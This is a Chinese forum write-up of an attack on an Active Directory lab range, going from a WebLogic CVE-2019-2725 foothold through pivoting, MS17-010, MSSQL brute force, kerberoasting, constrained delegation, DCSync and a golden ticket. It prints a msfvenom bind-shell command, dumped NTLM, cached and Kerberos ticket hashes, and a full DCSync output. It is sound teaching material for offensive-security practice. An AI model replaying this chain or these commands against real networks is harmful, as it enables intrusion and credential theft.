[原创]某内网域渗透靶场的writeup

发表于: 2021-11-16 18:51 4890

[原创]某内网域渗透靶场的writeup

Gcow安全团队

2021-11-16 18:51

4890

某内网域渗透靶场的writeup

本文总计4346字,图片总计148张,但由于实战环境下打码比较多,影响了看官体验,需要看官仔细看图以及文章内容,推荐阅读时间35-50分钟
本文系Gcow安全团队绝影小组原创文章,未经许可禁止转载
若看官在阅读本文中遇到说得不清楚以及出现错误的部分 请及时与公众号的私信联系 谢谢各位师傅的指导

前言：

本靶场是由xx红队xx所制作的一个靶场,看了看感觉效果十分不错,比较综合且有一定的思路扩展性.这里我们将会从别的一些角度来玩玩这个靶场,具体往下看。

Keep moving

本文采用 HTB/OSCP 的 Offensive style, 脱离CS, msf (msfvenom 不算)
优先不走 EXP 路线
靶场环境不能与实战相提并论
且同时这是详细地记录了全过程针对于该靶场进行攻击.所以会有一些尝试与转换思路的部分.
不喜勿喷

0x01 Enumeration

获取Target ip

pic1-获取Target ip

nmap

pic2-nmap1
pic3-nmap2

尝试RPC匿名登录

pic4-尝试RPC匿名登录

smb 匿名共享

pic5-smb 匿名共享

获取目标有没有IPv6

pic6-获取目标有没有IPv6

RPC获取内网ip (rpcmap ncacn_ip)

pic7-rpcmap ncacn_ip

1 2	`192.168.10.228` `10.10.20.12`

获取weblogic 版本

pic8-获取weblogic 版本

weblogic scan

pic9-weblogic scan

0x02 Foothold

CVE-2019-2725 to get command execution

pic10-CVE-2019-2725

whoami

pic11-whoami

tasklist /svc resiult show me in wired way

探测出不出网

pic13-探测出不出网1
pic14-探测出不出网2

Nishang

pic15-Nishang1
pic16-Nishang2

Got reverse shell

pic17-Got reverse shell1

pic18-Got reverse shell2

whoami

pic19-whoami

IP configuration

发现有另外一个网段

pic20-发现有另外一个网段

Enable winrm to get a better shell

pic21-winrm to get shell

Use reg save to dump hashes

pic22-dumphash

Kali box pop up a smb server

pic23-smb server

Mount kali box share path

pic24-share path

Send it to me

pic25-send1
pic26-send2

Hash dump

pic27-Hash dump

1	`ccef208c6485269c20db2cad21734fe7`

Login into winrm as Administrator

pic28-winrm to Administrator

flag

pic29-flag

Dump lsass

pic30-dump lsass1
pic31-dump lsass2
pic32-dump lsass3

pypykatz

pic33-pypykatz

But, I don't see any other credentials in dump file

pic34-weblogic credentials dump file

Weblogic password decryption: find out AES key

pic35-weblogic AES key_1

pic36-weblogic AES key_2

pic37-weblogic AES key_3

1	`{AES}1zzY2R1UMGFWfd1rAA92N2QljODSa8S16dJIsZZi/do=`

Weblogic password decryption: decrypt with dat file

pic38-decrypt weblogic dat file_1

pic39-decrypt weblogic dat file_2

pic40-decrypt weblogic dat file_3

Cleartext

1	`weblogic123`

Current credentials

1 2	`administrator:ccef208c6485269c20db2cad21734fe7` `weblogic:weblogic123`

0x03 Lateral Movement

Find another machines

pic41-find another machines

1	`10.10.20.7`

Upload portscan.ps1

(当然这里你也可以选择挂代理)

pic42-Upload portscan.ps1

scan 10.10.20.7

pic43-scan 10.10.20.7

1	`135,139,445,49152,49153,49154,49155,49156`

pivot

pic44-pivot

upload chisel

pic45-upload chisel

Handled a proxy on port 8100

pic46-proxy on port 8100

proxychain

pic47-proxychain

nmap scan target over socks5

pic48-nmap scan over socks5

10.10.20.7 report

pic49-10.10.20.7 report

Next Target

1	`work-7.redteam.red`

0x04 Work-7 takeover

Try to login rpc with anonymous user

pic50-login rpc with anonymous user

Login smb shares with anonymous user

pic51-login smb shares with anonymous user

start to scan vulnerability of port 445

pic52-scan vulnerability of port 445

Got ms17-010 vulnerable alert

pic53-Got ms17-010 vulnerable

Something funny

有点好笑，用之前的密码直接shell了(但是这是作弊,不可取)
后面查看了一下，密码这块设计得不太合理
pic54-密码设计存在非预期缺陷1
pic55-密码设计存在非预期缺陷2
直接横向了
pic56-横向移动1
pic57-横向移动2
get system
pic58-get system

回到刚刚，我们不选择作弊，查阅nmap结果，我们看到有ms17010

pic59-ms17010

MS17 without metasploit

原先想用window/exec，每次攻击完都会炸，我这边测得不行...
msfvenom bind shell

1 2	`msfvenom` `-p windows/x64/shell_bind_tcp LPORT=9001` `-f raw` `-o test.bin` `&& cat sc_x64_kernel.b` `in` `test.bin` `> sc_x64.bin`

生成shellcode，并且merge with kernel header，然后send exploit，最后挂代理正向NC

pic60-生成shellcode 代理正向NC

Shell came back: 康康有没有域

pic61-wmic查看域

本地先加hosts

pic62-本地加hosts

看域控

pic63-查看域控

获取域控ip

pic64-获取域控ip

查看本机ip，有另外一层网络: 10.10.10.0/24

pic65-查看本机ip

File Transfer in work-7

因为有一层代理得原因，所以下载win7的东西比较麻烦，win7从我这拿东西也麻烦
回到入口机器，添加一个xiaoli，并且加入管理员组（你可以转B64传上去，也可以开匿名共享，随你喜欢）

pic66-创建一个用户并且加入管理员组

wrok-7这边直接挂载入口机器的C盘

pic67-work-7挂载入口机器的c盘

Hash dump

当前work-7机器的system有点智障，虽然有个seimpersonateprivilege，但是我也能加用户（如果你知道当前system的权限发生了什么，麻烦私聊告诉我一下)

pic68-reg save失败

添加 xiaoli 用户，并且加入管理员组
pic69-添加账户加入管理员组
添加上的用户没有显示pwned，非常奇怪，那也无妨，只是没有更好的 shell 而已
pic70-新添加的用户
runas 登录上创建的xiaoli用户，执行命令并且写到C:\nani.txt
pic71-runas登录创建的账户
查看C:\nani.txt，发现创建的用户privilege比现在多（对比分明）
pic72-查看nani.txt
Hash dump with runas
pic73-通过runas dumphash1

pic74-通过runas dumphash1
放回挂载的共享磁盘
pic75-放回挂载的共享磁盘
接着再取回到kali本地
pic76-接着再取回到kali本地
Got hashes （图中框错地方了）
pic77-Got hashes_1
pic78-Got hashes_2

[*] Target system bootKey: 0x6f92d265d06097e1615a7c355022bc9f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:e91d2eafde47de62c6c49a012b3a6af1:::
john:1000:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::
xiaoli:1036:aad3b435b51404eeaad3b435b51404ee:e91d2eafde47de62c6c49a012b3a6af1:::
[*] Dumping cached domain logon information (domain/username:hash)
REDTEAM.RED/saul:$DCC2$10240#saul#38df64c20e0fdadc85a421815ed5b011
REDTEAM.RED/Administrator:$DCC2$10240#Administrator#1ca30d7ae7506e6ca094794f8167f1e4
[*] Dumping LSA Secrets

其实可以使用进程注入，注入到有域凭据用户的进程，然而并没有

Dump lsass

不太死心，dump lsass康康

pic80-dump lsass

取回本地，minidump方式解开

pic81-minidump方式解开

无其他用户了，内把机器账户顺走

pic82-域内用户1
pic83-域内用户2

1	`redteam.red\work-7$:f085f13639b3de3c78de926c0719d36d`

Something makes me confused

这个应该算work-7的flag了，来saul用户桌面

pic84-work-7的flag_1
pic85-work-7的flag_2

txt里面说john是本地管理员，但是算了（可能是靶场环境问题吧....）

pic86-可能是靶场的环境问题

0x05 AD enumeration

AD informaton gathering

system 请求网络资源用的是机器账户，直接康康域内基本信息

pic87-域内基本信息1
pic88-域内基本信息2

域控

pic89-域控

1	`OWA.redteam.red` `10.10.10.8`

域内两台机器，一台域控，算上自己，分别看IP

pic90-域内的两台机器-1
pic91-域内的两台机器-2

work-7.redteam.red 10.10.10.7
SQLSERVER-2008.redteam.red 10.10.10.18
OWA.redteam.red 10.10.10.8

基本操作

pic92-收集域内用户名

net group "domain users" /domain
The request will be processed at a domain controller for domain redteam.red.
 
Group name     Domain Users
Comment        
 
Members
 
-------------------------------------------------------------------------------
adduser                  Administrator            apt404                   
gu                       krbtgt                   mail                     
saul                     saulgoodman              SM_4c09f7e38ef84c22b     
SM_645db7f160894c7fb     SM_958e768f5a2e4c9fb     SM_dfb6b69905864ca19     
sqlserver                
The command completed successfully.

看域信任，无子域

pic93-看域信任

1 当然你也可以用powerview做信息收集，这边就不用了
2 实战的话，sharphound一般被杀得很严重，你可以远程执行bloodhound (ldapsearch with convertor)，但是这边原先想直接上sharphound

看上去只有DotNET 3.5，目前只有sharphound2支持，sharphound2得弄一堆环境，懒了，看来只能远程bloodhound了

pic94-Net环境

Multi-level pivoting (No Frp)

回到入口机器，把原来的chisel client关了，重新开一个带端口转发的（此时work-7会断开，小问题，重新打回去）
pic95-重新开端口转发
work-7 开多一个shell，上面port 9002，下面port 9001，并且上传 chisel 到 work-7
pic96-开新shell
接着，入口机器再开一个server（reverse proxy）
pic97-reverse proxy
回到work-7那台机器，回连到入口机器
pic98-回连入口机器
此时，本地访问8001就直接访问第二层了
pic99-本地访问8001
修改proxy配置
pic100-修改proxy配置
CME用机器账户登录一下域控的 LDAP 服务，已经到达了
pic101-机器账户登录一下域控的 LDAP 服务
本地加hosts
pic102-本地加hosts

Bloodhound result analysis

Run bloodhound remotely
pic102-bloodhound
Import results
pic103-Import results
Shortest path to domain admins
pic104-Shortest path to domain admins
最短路径到Sqlserver用户
pic105-最短路径到Sqlserver用户
SPN Accounts
pic106-SPN Accounts
获取 AS-REP Roastable users，并没有
pic107-获取 AS-REP Roastable users_1
pic108-获取 AS-REP Roastable users_2
kerberoasting attack
pic109-kerberoasting attack

$krb5tgs$23$*sqlserver$REDTEAM.RED$redteam.red/sqlserver*$859542523a2e592829568bcf4b22adc7$bd544d4ce42f5c024184b2d61c42c8b0131edf5e161f36faf6cf5c9fea367c77907faca606bcb2d7ed5af99afeefef0fe1a6212639874834f1ea9226bd7c092a608b60f19b9442f64291c6c0bc8fa49ec4078ff597fdd69d5699ca1e9412cdd436c27977088ad8fb4863c8aabe4ccc080bebe8167d7907b7829f95aefdadb1a39e7ba276ecda0910bc363e3a45da7cbdec015487a9fff6dc57388855b71fb50536192cf22ecb341a1f9ae556b2a4fd52f52fd83cb9df27eefd0d54c22594bd41425fc30265789e26790e36066a67cfcf06343c43042940b97f5d659ef3fdbd13dd4db2199749190e1f9fb68c10116eb9889d54c1fc32c26d4f8e3e8b4075be4d09c30951550a611bbda43511c2d354e88c1eab79328fc4a79edd7b0adbaeeab175ce35c664935a58b25a2cb35c4a86c4f801678dbe9ae4b4c73af61998b063f1305a012164b5cbf556015b4d496dcf9d986e8c7d2ac70ade3a5103da73431e60b2b61f7821ead30734b6775c49ca895742f351bcfecad248e67ec3693466eccd30f4765ed083af1ecfec2d87e2859e85f84e3e941d821dfb7e5521aee38d709bcd541c6a1772a4c79e6fb5a55afcaedff6668a5667729473c801087725f30de6e2998f960d933e088febf7090f2fea71cf15d93850147d1d2e03db8d455ddba5af732128a7f852e52dc18bc9a70b9e9d9abb8e614206e2c3e728c20340cc0832f8297b0e8d72693cbcac8355da06c437dee968adea17338e4b934df96ff98b459cb78cd960015ef5295b62817ffe7a13121b674a3fb97dbbbcc1007397862dbd72a8c1047a9da618d3b96e444b0ce1868466ab91ffaadb2b7e3a81f35b343afa3396272dbaa8c8305414872ba668a206b326ce55213c5c50c551cd816ad6eed9739a009d088bb872e3853fffa7e3eaa982139587fa32bd06ef8b737d29cdc082a9a173989c8617917b3facb1e36cedd8774aa0c1756e76351162a6e3bfe4f2fa6bb9e88ae2c86fccfbc90050d867725b4f266048f7e6e9d1c296504c661883fac459f4e91e08dfc0bfd0c211541c16cb5e9ec30dffe99e326e7b3f8459d35b03a30847bd11a46e7ad77e096cce2a5a3cda1103615e307cfcaeffbb3febf795db58c16ecdfeeaa6fc003f308021594965f148f1163c739ad942050778cbe6e478114479c0cf69495c0f4831dea117ea9b90956c13a07edfcdf4c25d05087059106c11c195bc0412ad5dc8bc6b7159140c675f3e
 
$krb5tgs$23$*saulgoodman$REDTEAM.RED$redteam.red/saulgoodman*$7d30d61df9b0fd9ca713c72ef6588b24$6dde0c314f9935c81d5a448d041ecdb45d5b8eebe88c480c7862a2932da02c655857f3b6122dfce0ea886b7835c6d8adde421eb3e5a960a10f01fa4789ba45e585975b54b7f2407bc61f839f8e6c0273cb58973da3d0dce43ea3a875e7fd6fa054016eb816fdf257f6e94535943a0d7cb13c4932ec3f661daef56d61beb0340a21582c578e4ce6c1839b493444e03f11ea79d7db8d4b74b7750cf9cc8881f0825a04959083ed72d9b17c0dc00ae28b04f930a66c995bff65e8cfe8e5eb1863a7d5a1536888df99a55febb1dc0cc80a099304feb6b252d8a7bafdf23a139abe7c03daeed388de81aaa7d9456adb355827420b9996d2e2e8d3e7180788def64c76aa15a319f486d94154cdc1ee888b67fd5058177fe123d48e67489e48ba860d5e79152082537213ccbfa90372f20a66834f9c2d6ef786a63943d00c7eb5665e257c5e06e84979a5f9a9c532e2a8912e44f1e226b68db269d367456b13b35cbe1caceb76dc9b19ff5e805260df270993cd8dd84d17574f6d20075c3ceedd070e57311d7b2e10ec4d0c1e700da04c43c4761e37af15a2c2145f42ccec3d66c992f153928c6d906d3fcec038e4d81211bccac30ed729a31c02d009c055de21d528e491aa805cd2f487eaefad4aeecc8b9db72902ef092dd8de0a3f42b8098aa0de970dce4b682d0f54c7edeb492af23d3062d614da5cf7ef875dd09000d14a3fcecbee4197902bfae6cecd94820d3b2217d443795489581d100171bfb5b95948eb836b76097cc9b60b6adb97647e465c0e6bb571af2fe332e92cfb35b56a4d281adf831dc13c1c5886f245085372d463a15dae82a2748717783d4c3e9d163c022ede2862a4b306603e77b4245aa5b7fd5ce3e70c20e466828a4b4583701b41f917e287c1cdb9f72d1c14918861b7d3c1610e2fbd5c7169e764e5311e1083f47b82b37cfba3bdc94fee39ef5d65649871287b6e08f8c03942ae01e727e793bf70d793761c78732d80c00c22365642258630cb237dd348b7ea2ab408420583f5786f179967b47aab39cf497159ec80f06226b74b2d150a85d956ab3db79a605c59c03a5b97c8772f584b15a94af23d9ba9d9cd6cbc78a56af19ae22a8c2dda248d4a53b9dc48a7d040172c73bb3f887c6f188dc83d18a6925d019946d8675efbd848132ee35ad0616177fde20738d7e9765ff21cd2a4f092b07acbbcf91b9eed8d5fb12a9a4da07c5546c3dab03424888ec9a42616d0

不幸的是，我没有爆出来
pic110-很不幸没有成功

当然如果你的字典有的话，内你可以直接跳到约束委派了
pic111-无字典悲

换个思路

0x06 sqlserver-2008 takeover

前面提到域内还有另外一台机器，Nmap 扫描 sqlserver-2008

pic112-Nmap 扫描 sqlserver-2008

sqlserver-2008报告

# Nmap 7.92 scan initiated Thu Nov 11 13:16:29 2021 as: nmap -sC -sV -sT -Pn -oA sqlserver/nmap -vvv 10.10.10.18
Nmap scan report for sqlserver-2008 (10.10.10.18)
Host is up, received user-set (1.0s latency).
Scanned at 2021-11-11 13:16:29 HKT for 1132s
Not shown: 988 closed tcp ports (conn-refused)
PORT      STATE SERVICE      REASON  VERSION
80/tcp    open  http         syn-ack Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds
1433/tcp  open  ms-sql-s     syn-ack Microsoft SQL Server 2008 10.00.1600.00; RTM
|_ssl-date: 2021-11-11T05:36:06+00:00; +45s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-11-09T08:18:34
| Not valid after:  2051-11-09T08:18:34
| MD5:   8aaf 87ec b5a3 8e9f c52f 80c5 4445 8e06
| SHA-1: c677 90ba d6fe 6da6 29de dae6 0844 49ce 5c29 2f88
| -----BEGIN CERTIFICATE-----
| MIIB+zCCAWSgAwIBAgIQYGTu9bynvLtNoEYZlMAoWTANBgkqhkiG9w0BAQUFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjExMTA5MDgxODM0WhgPMjA1MTExMDkwODE4MzRaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAl9gm+X/dC/ip
| WnxqzLJQThFXQvm+aUyEoYuf3ZhNZh/ogz/QYXP7yMmOYbaSlScb/kaj2sloI1ik
| 3jJtVWvEpgV9bZQW5Eh2Hr/YKSTErpis+4+9N4afMopHQRRXdf+nnIQFXkE5wNXd
| 021lhqggGPRVBv8iNf/jH5xvtkqFyK8CAwEAATANBgkqhkiG9w0BAQUFAAOBgQA7
| R9VTz2kwKwohCVgU4/nYH8VcuQazt8qA5/agD0b3iDzr3bPszKUqG3wLZc+sq1h6
| OWE7oPCMyfb4zSWFGqw3nFQ7xOs24RHYFNO3LngrLkwrhJmLGwIPdt5ELOv1n74H
| Hr46INlupWAYN/Ph+9i7PvZ1beLMh8c0wTCOkjwwWQ==
|_-----END CERTIFICATE-----
| ms-sql-ntlm-info: 
|   Target_Name: REDTEAM
|   NetBIOS_Domain_Name: REDTEAM
|   NetBIOS_Computer_Name: SQLSERVER-2008
|   DNS_Domain_Name: redteam.red
|   DNS_Computer_Name: sqlserver-2008.redteam.red
|   DNS_Tree_Name: redteam.red
|_  Product_Version: 6.1.7601
2383/tcp  open  ms-olap4?    syn-ack
49152/tcp open  msrpc        syn-ack Microsoft Windows RPC
49153/tcp open  msrpc        syn-ack Microsoft Windows RPC
49154/tcp open  msrpc        syn-ack Microsoft Windows RPC
49155/tcp open  msrpc        syn-ack Microsoft Windows RPC
49156/tcp open  msrpc        syn-ack Microsoft Windows RPC
49157/tcp open  msrpc        syn-ack Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 2012; CPE: cpe:/o:microsoft:windows
 
Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 57750/tcp): CLEAN (Couldn't establish connection (Nsock connect failed immediately))
|   Check 2 (port 12518/tcp): CLEAN (Couldn't establish connection (Nsock connect failed immediately))
|   Check 3 (port 11000/udp): CLEAN (Timeout)
|   Check 4 (port 8803/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: -1h35m17s, deviation: 3h34m40s, median: 43s
| smb-os-discovery: 
|   OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: sqlserver-2008
|   NetBIOS computer name: SQLSERVER-2008\x00
|   Domain name: redteam.red
|   Forest name: redteam.red
|   FQDN: sqlserver-2008.redteam.red
|_  System time: 2021-11-11T13:35:52+08:00
| ms-sql-info: 
|   10.10.10.18:1433: 
|     Version: 
|       name: Microsoft SQL Server 2008 RTM
|       number: 10.00.1600.00
|       Product: Microsoft SQL Server 2008
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2021-11-11T05:36:00
|_  start_date: 2021-11-09T08:18:45
 
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 11 13:35:21 2021 -1 IP address (1 host up) scanned in 1132.14 seconds

既然出题人那么喜欢ms17010，那我也来脚本小子一下，可惜并没有

pic113-尝试ms17010但是失败

Try to login SMB shares with anonymous user

pic114-login SMB shares with anonymous user

Try to login rpc with anonymous user

pic115-login rpc with anonymous user

康康有没有别的ip段，或者看看有没有 IPv6

pic116-扩展一下别的段

Port 2383

SQL之类的服务，那么我们现在康康端口80和1433

pic117-port 2383

Port 80

web service directory brute force

pic118-web目录爆破

Port 1433

看上去是一个老版本的 SQL Server（没有找 EXP）
尝试mssql爆破，impacket 和 CME 报错了

pic119-尝试mssql爆破-1
pic120-尝试mssql爆破-2

但是失败了

自己写的 MSSQL 爆破工具（找大牛加的多线程）
使用常用 mssql 用户名和密码（From seclist）
pic121-生成常用的mssql的用户名和密码
爆破mssql，没有报错（展示）
pic122-爆破mssql
爆破成功
pic123-爆破成功

Try to get bind shell

pic124-xp_cmdshell

Powershell Bind shell oneliner

pic125-Powershell Bind shell oneliner

尝试连接，可以

pic126-连接成功

Privilege escalation

Current privileges

pic127-Current privileges

Download potato

pic128-Download potato

Upload it

(Sql server 连接脚本自带UPLOAD命令，原理：转b64 locally, 然后切割大小为1024kb，，再回到windows copy合成一份，接着再解密)

pic129-upload potato

Try to do privilege escalation and we get system (default clsid)

pic130-privilege escalation

Get shell with system privilege

pic131-get system shell

flag

pic132-get flag

Get credentials

查看当前进程，当前进程有sqlserver的存在

pic133-sqlserver进程

Upload procdump

pic134-upload procdump

dump lsass & hash dump through reg save

pic135-dump hash

开SMB匿名，www目录我放不了文件，不知道为什么，放了进去没读权限，用户下不了。（icacls也试了，不行）
这边就直接内就绕路，用三好学生的匿名共享脚本
（我自己创建了个本地管理员用户，但是SMB连不上，所以才用匿名共享）

pic136-smb匿名共享1
pic137-smb匿名共享2

smb 下载文件

pic138-smb下载文件

下载完成后，关闭匿名共享

pic139-关闭匿名共享

secretsdump 解开reg save的hashes

pic140-secretsdump解reg save的hash

解开lsass的dump文件，现在有sqlserver的凭据了

pic141-获取sqlserver的凭据_1
pic142-获取sqlserver的凭据_2

1	`sqlserver:6a59bf65a4957ac67e5fb4e1c221939c`

0x07 DC takeover

Attack path which I method

User: redteam.red/sqlserver is allow to delegate cifs service of OWA（DC controller）

pic144-sqlserver允许委派OWA的cifs服务

Constrained delegation Attack

pic145-约束委派攻击

DCsync

pic146-DCsync

redteam.red\Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::                                                                                            
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                                
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a67f14d5cc4fa22618c8b609e832db6:::                                                                                                               
redteam.red\SM_4c09f7e38ef84c22b:1120:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                    
redteam.red\SM_dfb6b69905864ca19:1121:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                    
redteam.red\SM_958e768f5a2e4c9fb:1122:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                    
redteam.red\SM_645db7f160894c7fb:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                    
redteam.red\mail:1125:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::                                                                                                    
redteam.red\sqlserver:1126:aad3b435b51404eeaad3b435b51404ee:6a59bf65a4957ac67e5fb4e1c221939c:::                                                                                               
redteam.red\saulgoodman:1128:aad3b435b51404eeaad3b435b51404ee:c0e1f147edf7462134f07e389c5466e2:::                                                                                             
redteam.red\gu:1129:aad3b435b51404eeaad3b435b51404ee:82a28aff9a3be5385b87c4928b54a66f:::                                                                                                      
redteam.red\apt404:1130:aad3b435b51404eeaad3b435b51404ee:ba0b26eb2595bc0a639d986537433e5d:::                                                                                                  
redteam.red\adduser:1131:aad3b435b51404eeaad3b435b51404ee:168df3659b5f75ab35645606839e5677:::                                                                                                 
redteam.red\saul:1135:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::
OWA$:1000:aad3b435b51404eeaad3b435b51404ee:8623dc75ede3ca9ec11f2475b12ef96d:::     
SQLSERVER-2008$:1127:aad3b435b51404eeaad3b435b51404ee:2dae08cafb67b4537b7d5871084c961d:::   
WORK-7$:1138:aad3b435b51404eeaad3b435b51404ee:f085f13639b3de3c78de926c0719d36d:::

Golden ticket

pic147-黄金票据

Finally

pic148-GOT DC

最后

Outlook邮服的那个攻击路径就不去试了，那个比较容易，知道有那样的洞就可以了，不然我直接zerologon就撸穿了（因为这是靶场）
如果你有更好的攻击方法，也可以通过私聊与我分享
大牛的github：https://github.com/n00B-ToT
如果可以，也可以关注一下我的Github：https://github.com/XiaoliChan

Q&A:

Q: 为什么不选择用CS/MSF？
A: 为什么我要用CS/MSF打靶场？
Q: 文中的相关工具有链接嘛？
A: 无
Q: 为什么不用fscan呢？
A: 自从看到某人用该工具疯狂扫内网之后，就不太想用了。工具很好，没问题，但是我觉得打靶场不需要
Q: 为什么不用FRP呢？
A: 个人不喜欢

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dawnadvent 雪币： 28 活跃值： (394) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 10 粉丝 1 关注私信	dawnadvent 2 楼可以分享一下攻击机pwn-box吗和靶机吗？谢谢 2021-12-28 09:16 0
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dawnadvent 雪币： 28 活跃值： (394) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 10 粉丝 1 关注私信	dawnadvent 2 楼可以分享一下攻击机pwn-box吗和靶机吗？谢谢 2021-12-28 09:16 0
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